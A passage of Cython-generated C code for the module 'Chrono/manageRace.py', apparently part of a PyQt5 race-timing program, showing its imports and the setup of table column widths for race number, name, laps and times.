__PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_time); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_time, __pyx_t_1) < 0) __PYX_ERR(0, 5, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":6 * ###################################################################################### * from time import time * from PyQt5.QtCore import QTimer, Qt, QTime # <<<<<<<<<<<<<< * from PyQt5.QtCore import QCoreApplication * from PyQt5.QtGui import QBrush, QIcon */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_QTimer); __Pyx_GIVEREF(__pyx_n_s_QTimer); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_QTimer); __Pyx_INCREF(__pyx_n_s_Qt); __Pyx_GIVEREF(__pyx_n_s_Qt); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_Qt); __Pyx_INCREF(__pyx_n_s_QTime); __Pyx_GIVEREF(__pyx_n_s_QTime); PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_QTime); __pyx_t_1 = __Pyx_Import(__pyx_n_s_PyQt5_QtCore, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_QTimer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QTimer, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Qt, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_QTime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QTime, __pyx_t_2) < 0) __PYX_ERR(0, 6, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":7 * from time import time * from PyQt5.QtCore import QTimer, Qt, QTime * from PyQt5.QtCore import QCoreApplication # <<<<<<<<<<<<<< * from PyQt5.QtGui import QBrush, QIcon * from PyQt5.QtWidgets import QTableWidgetItem, QDialog, QMessageBox, QCheckBox */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QCoreApplication); __Pyx_GIVEREF(__pyx_n_s_QCoreApplication); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QCoreApplication); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5_QtCore, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QCoreApplication); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QCoreApplication, __pyx_t_1) < 0) __PYX_ERR(0, 7, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":8 * from PyQt5.QtCore import QTimer, Qt, QTime * from PyQt5.QtCore import QCoreApplication * from PyQt5.QtGui import QBrush, QIcon # <<<<<<<<<<<<<< * from PyQt5.QtWidgets import QTableWidgetItem, QDialog, QMessageBox, QCheckBox * from Globals import receiver, colors, decoder, createTimeSeconds */ __pyx_t_2 = PyList_New(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_QBrush); __Pyx_GIVEREF(__pyx_n_s_QBrush); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_QBrush); __Pyx_INCREF(__pyx_n_s_QIcon); __Pyx_GIVEREF(__pyx_n_s_QIcon); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_QIcon); __pyx_t_1 = __Pyx_Import(__pyx_n_s_PyQt5_QtGui, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_QBrush); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QBrush, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_QIcon); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QIcon, __pyx_t_2) < 0) __PYX_ERR(0, 8, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":9 * from PyQt5.QtCore import QCoreApplication * from PyQt5.QtGui import QBrush, QIcon * from PyQt5.QtWidgets import QTableWidgetItem, QDialog, QMessageBox, QCheckBox # <<<<<<<<<<<<<< * from Globals import receiver, colors, decoder, createTimeSeconds * from Globals import dictRace, createTime, icons */ __pyx_t_1 = PyList_New(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_QTableWidgetItem); __Pyx_GIVEREF(__pyx_n_s_QTableWidgetItem); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_QTableWidgetItem); __Pyx_INCREF(__pyx_n_s_QDialog); __Pyx_GIVEREF(__pyx_n_s_QDialog); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_QDialog); __Pyx_INCREF(__pyx_n_s_QMessageBox); __Pyx_GIVEREF(__pyx_n_s_QMessageBox); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_s_QMessageBox); __Pyx_INCREF(__pyx_n_s_QCheckBox); __Pyx_GIVEREF(__pyx_n_s_QCheckBox); PyList_SET_ITEM(__pyx_t_1, 3, __pyx_n_s_QCheckBox); __pyx_t_2 = __Pyx_Import(__pyx_n_s_PyQt5_QtWidgets, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QTableWidgetItem, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QDialog); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QDialog, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QMessageBox, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_QCheckBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_QCheckBox, __pyx_t_1) < 0) __PYX_ERR(0, 9, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":10 * from PyQt5.QtGui import QBrush, QIcon * from PyQt5.QtWidgets import QTableWidgetItem, QDialog, QMessageBox, QCheckBox * from Globals import receiver, colors, decoder, createTimeSeconds # <<<<<<<<<<<<<< * from Globals import dictRace, createTime, icons * from queue import Queue */ __pyx_t_2 = PyList_New(4); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_receiver); __Pyx_GIVEREF(__pyx_n_s_receiver); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_receiver); __Pyx_INCREF(__pyx_n_s_colors); __Pyx_GIVEREF(__pyx_n_s_colors); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_n_s_colors); __Pyx_INCREF(__pyx_n_s_decoder); __Pyx_GIVEREF(__pyx_n_s_decoder); PyList_SET_ITEM(__pyx_t_2, 2, __pyx_n_s_decoder); __Pyx_INCREF(__pyx_n_s_createTimeSeconds); __Pyx_GIVEREF(__pyx_n_s_createTimeSeconds); PyList_SET_ITEM(__pyx_t_2, 3, __pyx_n_s_createTimeSeconds); __pyx_t_1 = __Pyx_Import(__pyx_n_s_Globals, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_receiver); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_receiver, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_colors); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_colors, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_decoder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_decoder, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_createTimeSeconds); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_createTimeSeconds, __pyx_t_2) < 0) __PYX_ERR(0, 10, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":11 * from PyQt5.QtWidgets import QTableWidgetItem, QDialog, QMessageBox, QCheckBox * from Globals import receiver, colors, decoder, createTimeSeconds * from Globals import dictRace, createTime, icons # <<<<<<<<<<<<<< * from queue import Queue * from gui.Ui_set_RaceLen import Ui_set_RaceLen */ __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_dictRace); __Pyx_GIVEREF(__pyx_n_s_dictRace); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_dictRace); __Pyx_INCREF(__pyx_n_s_createTime); __Pyx_GIVEREF(__pyx_n_s_createTime); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_n_s_createTime); __Pyx_INCREF(__pyx_n_s_icons); __Pyx_GIVEREF(__pyx_n_s_icons); PyList_SET_ITEM(__pyx_t_1, 2, __pyx_n_s_icons); __pyx_t_2 = __Pyx_Import(__pyx_n_s_Globals, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_dictRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_dictRace, __pyx_t_1) < 0) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_createTime); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_createTime, __pyx_t_1) < 0) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_icons); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_icons, __pyx_t_1) < 0) __PYX_ERR(0, 11, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":12 * from Globals import receiver, colors, decoder, createTimeSeconds * from Globals import dictRace, createTime, icons * from queue import Queue # <<<<<<<<<<<<<< * from gui.Ui_set_RaceLen import Ui_set_RaceLen * import Globals */ __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_n_s_Queue); __Pyx_GIVEREF(__pyx_n_s_Queue); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_n_s_Queue); __pyx_t_1 = __Pyx_Import(__pyx_n_s_queue, __pyx_t_2, 0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_ImportFrom(__pyx_t_1, __pyx_n_s_Queue); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Queue, __pyx_t_2) < 0) __PYX_ERR(0, 12, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":13 * from Globals import dictRace, createTime, icons * from queue import Queue * from gui.Ui_set_RaceLen import Ui_set_RaceLen # <<<<<<<<<<<<<< * import Globals * */ __pyx_t_1 = PyList_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_n_s_Ui_set_RaceLen); __Pyx_GIVEREF(__pyx_n_s_Ui_set_RaceLen); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_n_s_Ui_set_RaceLen); __pyx_t_2 = __Pyx_Import(__pyx_n_s_gui_Ui_set_RaceLen, __pyx_t_1, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_ImportFrom(__pyx_t_2, __pyx_n_s_Ui_set_RaceLen); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Ui_set_RaceLen, __pyx_t_1) < 0) __PYX_ERR(0, 13, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":14 * from queue import Queue * from gui.Ui_set_RaceLen import Ui_set_RaceLen * import Globals # <<<<<<<<<<<<<< * * # Column width */ __pyx_t_2 = __Pyx_Import(__pyx_n_s_Globals, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_Globals, __pyx_t_2) < 0) __PYX_ERR(0, 14, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":17 * * # Column width * char_width = 7 # <<<<<<<<<<<<<< * num_width = 4 * char_width * name_width = 26 * char_width */ if (PyDict_SetItem(__pyx_d, __pyx_n_s_char_width, __pyx_int_7) < 0) __PYX_ERR(0, 17, __pyx_L1_error) /* "Chrono/manageRace.py":18 * # Column width * char_width = 7 * num_width = 4 * char_width # <<<<<<<<<<<<<< * name_width = 26 * char_width * laps_width = 8 * char_width */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_char_width); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Multiply(__pyx_int_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_num_width, __pyx_t_1) < 0) __PYX_ERR(0, 18, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":19 * char_width = 7 * num_width = 4 * char_width * name_width = 26 * char_width # <<<<<<<<<<<<<< * laps_width = 8 * char_width * time_width = 12 * char_width */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_char_width); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Multiply(__pyx_int_26, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_name_width, __pyx_t_2) < 0) __PYX_ERR(0, 19, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":20 * num_width = 4 * char_width * name_width = 26 * char_width * laps_width = 8 * char_width # <<<<<<<<<<<<<< * time_width = 12 * char_width * */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_char_width); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Multiply(__pyx_int_8, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_laps_width, __pyx_t_1) < 0) __PYX_ERR(0, 20, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":21 * name_width = 26 * char_width * laps_width = 8 * char_width * time_width = 12 * char_width # <<<<<<<<<<<<<< * * cols = {} */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_char_width); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyNumber_Multiply(__pyx_int_12, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (PyDict_SetItem(__pyx_d, __pyx_n_s_time_width, __pyx_t_2) < 0) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":23 * time_width = 12 * char_width * * cols = {} # <<<<<<<<<<<<<< * cols["short"] = [0, 0, True] * cols["num"] = [1, num_width, False] */ __pyx_t_2 = PyDict_New(); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_cols, __pyx_t_2) < 0) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":24 * * cols = {} * cols["short"] = [0, 0, True] # <<<<<<<<<<<<<< * cols["num"] = [1, num_width, False] * cols["name"] = [2, name_width, False] */ __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_0); __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_int_0); __Pyx_INCREF(Py_True); __Pyx_GIVEREF(Py_True); PyList_SET_ITEM(__pyx_t_2, 2, Py_True); __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_short, __pyx_t_2) < 0)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":25 * cols = {} * cols["short"] = [0, 0, True] * cols["num"] = [1, num_width, False] # <<<<<<<<<<<<<< * cols["name"] = [2, name_width, False] * cols["laps"] = [3, laps_width, False] */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_num_width); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_1); __Pyx_GIVEREF(__pyx_t_2); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); __Pyx_INCREF(Py_False); __Pyx_GIVEREF(Py_False); PyList_SET_ITEM(__pyx_t_1, 2, Py_False); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_num, __pyx_t_1) < 0)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":26 * cols["short"] = [0, 0, True] * cols["num"] = [1, num_width, False] * cols["name"] = [2, name_width, False] # <<<<<<<<<<<<<< * cols["laps"] = [3, laps_width, False] * cols["time"] = [4, time_width, False] */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_name_width); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_2); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_t_1); __Pyx_INCREF(Py_False); __Pyx_GIVEREF(Py_False); PyList_SET_ITEM(__pyx_t_2, 2, Py_False); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_name, __pyx_t_2) < 0)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":27 * cols["num"] = [1, num_width, False] * cols["name"] = [2, name_width, False] * cols["laps"] = [3, laps_width, False] # <<<<<<<<<<<<<< * cols["time"] = [4, time_width, False] * cols["last"] = [5, time_width, False] */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_laps_width); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_int_3); __Pyx_GIVEREF(__pyx_int_3); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_3); __Pyx_GIVEREF(__pyx_t_2); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); __Pyx_INCREF(Py_False); __Pyx_GIVEREF(Py_False); PyList_SET_ITEM(__pyx_t_1, 2, Py_False); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_laps, __pyx_t_1) < 0)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":28 * cols["name"] = [2, name_width, False] * cols["laps"] = [3, laps_width, False] * cols["time"] = [4, time_width, False] # <<<<<<<<<<<<<< * cols["last"] = [5, time_width, False] * cols["best"] = [6, time_width, False] */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_time_width); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_int_4); __Pyx_GIVEREF(__pyx_int_4); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_4); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_2, 1, 